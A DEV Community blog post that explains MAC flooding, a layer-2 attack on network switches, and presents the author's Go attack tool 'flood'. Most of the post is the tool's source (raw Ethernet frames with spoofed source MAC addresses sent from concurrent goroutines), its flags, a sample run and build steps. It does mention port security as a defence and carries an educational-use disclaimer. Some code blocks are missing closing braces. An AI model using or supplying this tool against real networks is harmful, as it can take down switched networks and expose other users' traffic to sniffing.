DEV Community

Cover image for Exploiting network devices at the data link layer with Go

Exploiting network devices at the data link layer with Go

David Kröll
Updated on ・5 min read

Back in 2018 when I attended the networking security class at highschool, our prof introduced us to attacking network devices at the OSI data link layer (Ethernet, most of the time). I was in fact curious how to file such an attack myself. Indeed, there were enough tools already out there - but only script kiddies use existing tools. So I decided to write my own tool to bring down a switched network.

The attack I am talking about is named MAC flooding.

In computer networking, a media access control attack or MAC flooding is a technique employed to compromise the security of network switches. The attack works by forcing legitimate MAC table contents out of the switch and forcing a unicast flooding behavior potentially sending sensitive information to portions of the network where it is not normally intended to go.

It's some kind of denial of service attack. Usually a switch remembers which client (MAC address) is connected to which port. But when there are more clients than the switch can remember, the layer 2 frames are send on every port and you may sniff the whole traffic - or the whole network breaks due to exponentially increasing traffic.

So the only thing to do is to flood the network with frames originating from different MAC addresses. Since the switches CAM tables are finite, at some point in time the switch cannot remember the different source addresses and therefore is out of service.

The switches should be able to recover from the attack automatically using the MAC table aging method

In addition, modern switches may be configured using so-called port security, so it is of course possible to eliminate such an attack at it's root cause.

Defining goals and requirements

Network diagram

So our network looks like the diagram above. We would like to make the switch believe that there are more computers connected to it than he can remember. To do so we have to operate directly on the data link layer of the OSI reference model. Since any "normal" request will be built up correctly by the help of our operating system - there is always just a single MAC available per network interface. However this does not mean that we cannot emulate different MAC addresses using the same network interface.

For the Go programming language Matt Layher has created awesome libraries to operate on the data link layer directly, they are called ethernet and raw.

He has already written about it in his blog - make sure to check it out: Network Protocol Breakdown: Ethernet and Go

GitHub logo mdlayher / ethernet

Package ethernet implements marshaling and unmarshaling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags. MIT Licensed.

ethernet Build Status GoDoc Go Report Card

Package ethernet implements marshaling and unmarshaling of IEEE 802.3 Ethernet II frames and IEEE 802.1Q VLAN tags. MIT Licensed.

For more information about using Ethernet frames in Go, check out my blog post: Network Protocol Breakdown: Ethernet and Go.

Our tool should be of course the fastest on the planet. And therefore we utilize the Go concurrency patterns.

The quintessence of writing ethernet frames to a network connection is implemented in the below code section. This method loops over a channel of ethernet.Frame struct and writes them onto the network interface using a default destination address.

The function also sends the number of bytes written to the network interface to another channel.

// frameWriter sends ethernet frames over the network
func frameWriter(c net.PacketConn, ch <-chan *ethernet.Frame, stats chan<- int, doneCall func()) {
    for f := range ch {
        // get frame and marshall it to binary
        b, err := f.MarshalBinary()
        if err != nil {
            fmt.Printf("failed to marshal ethernet frame: %v", err)

        // only necessary for WriteTo() method, does not change the frame
        addr := &raw.Addr{
            HardwareAddr: ethernet.Broadcast,

        // write frame
        n, err := c.WriteTo(b, addr)
        if err != nil {
            fmt.Printf("Cannot write to connection: %v", err)

        // send to channel
        stats <- n
Enter fullscreen mode Exit fullscreen mode

First of all we'd like to control how our tool should operate. I've therefore implemented the below command line parameters:

  • Network interface to send
  • Number of Goroutines for writing
  • Amount of frames to send

And since this tool will only work on Unix-based machines, the top line (called build constraint or tag) specifies the target platforms.

//+build linux darwin

package main

import (

var num = flag.Int("n", 1, "Amount of frames send")
var ifaceName = flag.String("i", "", "Interface to send")
var numThreads = flag.Int("t", 12, "Number of threads to use")
var seed = flag.Int("s", 0, "Seed for source MAC address")
var versionFlag = flag.Bool("v", false, "Print version")

const etherType = 0xbeef
const version = "flood v0.2.0"

// prerequisitesSatisfied checks if all requirements are met
func prerequisitesSatisfied() bool {
    if *versionFlag {
        return false

    u, _ := user.Current()
    if u.Uid != "0" {
        fmt.Println("This program requires root (UID 0) access")
        return false

    // require iface index flag
    if *ifaceName == "" {
        return false

    if *seed < 0 || *seed > 255 {
        fmt.Printf("Seed (%d) must be between 0 and 255\n", *seed)
        return false
    return true

func main() {
    if !prerequisitesSatisfied() {

    iface, err := net.InterfaceByName(*ifaceName)
    if err != nil {
        fmt.Println("No such network interface")

    conn, err := raw.ListenPacket(iface, etherType, nil)
    if err != nil {
        fmt.Printf("cannot open connection: %v", err)

    var wg sync.WaitGroup

    // init channels
    ch := make(chan *ethernet.Frame)
    stats := make(chan int)

    // create sender goroutines
    for i := 0; i < *numThreads; i++ {
        // pass in Done() method from waitgroup
        go frameWriter(conn, ch, stats, wg.Done)

    // init stat vars
    framesSend := 0
    bytesWritten := 0
    startTime := time.Now()

    // stat collecting goroutine
    go func() {
        // no need for waitgroup here,
        // goroutine gets automatically killed when any sender goroutine exits
        for bytes := range stats {
            bytesWritten += bytes

    for i := 1; i <= *num; i++ {
        f := &ethernet.Frame{
            Destination: ethernet.Broadcast,
            // every frame should have a different MAC address
            // and emulates therefore a different computer
            Source: net.HardwareAddr{
                // hacky method for power to 2 numbers
                byte(i / (24 << 1)), uint8(i / (16 << 1)), uint8(i / (8 << 1)), uint8(i),
            EtherType: etherType,
        ch <- f

    // close channel
    wg.Wait() // wait for goroutines quit

    fmt.Println("Execution summary:")
    fmt.Printf("%d frames send\n", framesSend)
    fmt.Printf("%d bytes written\n", bytesWritten)
    fmt.Printf("Took a total time of %v\n", time.Since(startTime))
Enter fullscreen mode Exit fullscreen mode

At the beginning of our main function we set up and check all the prerequisites. Afterwards the channels for communicating are initialized and the frameWriter Goroutines are dispatched. This applies also for the stats collecting goroutine.

Afterwards the frames are created in our main goroutine and send over to the frameWriter goroutines to write them to the network interface.


To check the results, I am using Wireshark to sniff the local network traffic. The frames should have different source MAC addresses.

The usage is printed below.

$ ./flood -h
Usage of ./flood:
  -i string
        Interface to send
  -n int
        Amount of frames send (default 1)
  -s int
        Seed for source MAC address
  -t int
        Number of threads to use (default 12)
  -v    Print version
Enter fullscreen mode Exit fullscreen mode

First we have to evaluate on which network interface we'd like to send the frames to. Afterwards we have to get root privileges to execute this program.

# ./flood -i ens33 -n 100
100 frames send
6000 bytes written
Took a total time of 5.070503ms
Enter fullscreen mode Exit fullscreen mode

In Wireshark you should then see something like this when applying the filter to the ethernet type 0xbeef - this is the default type for the flood tool.

Wireshark sniffed

  • Source MAC address is different for every packet and not ordered (since multiple goroutines are used)
  • Destination MAC stays always to Broadcast
  • Data inside the frame is not of length zero. Why? Because of the minimum length of an Ethernet frame (60 bytes)

The full code is available here (also pre-built binaries are available. But make sure to only use this software for educational purpose. Use only if you are allowed to!

GitHub logo davidkroell / flood

MAC flooding attack tool in Go


Is a OSI layer 2 attack to take down a switch by filling the MAC-Address table.


This software only runs on linux operating systems and requires minimum version of go1.12.


With an properly configured Go toolchain execute the following.

# on linux only
go get
cd $GOPATH/src/

go build -o flood main.go
Enter fullscreen mode Exit fullscreen mode


Usage of flood:
  -i string
        Interface to send
  -n int
        Amount of frames send (default 1)
  -s int
        Seed for source MAC address
  -t int
        Number of threads to use (default 12)
  -v    Print version
Enter fullscreen mode Exit fullscreen mode


This software is provided for educational use only. The authors are not responsible for any misuse of the software. Performing an attack without permission from the owner of the network is illegal. Use at your own risk.

Thanks for reading, and as always feel free to submit feedback for improvements.


OSI model
CAM tables
Data link layer
Title image

Discussion (0)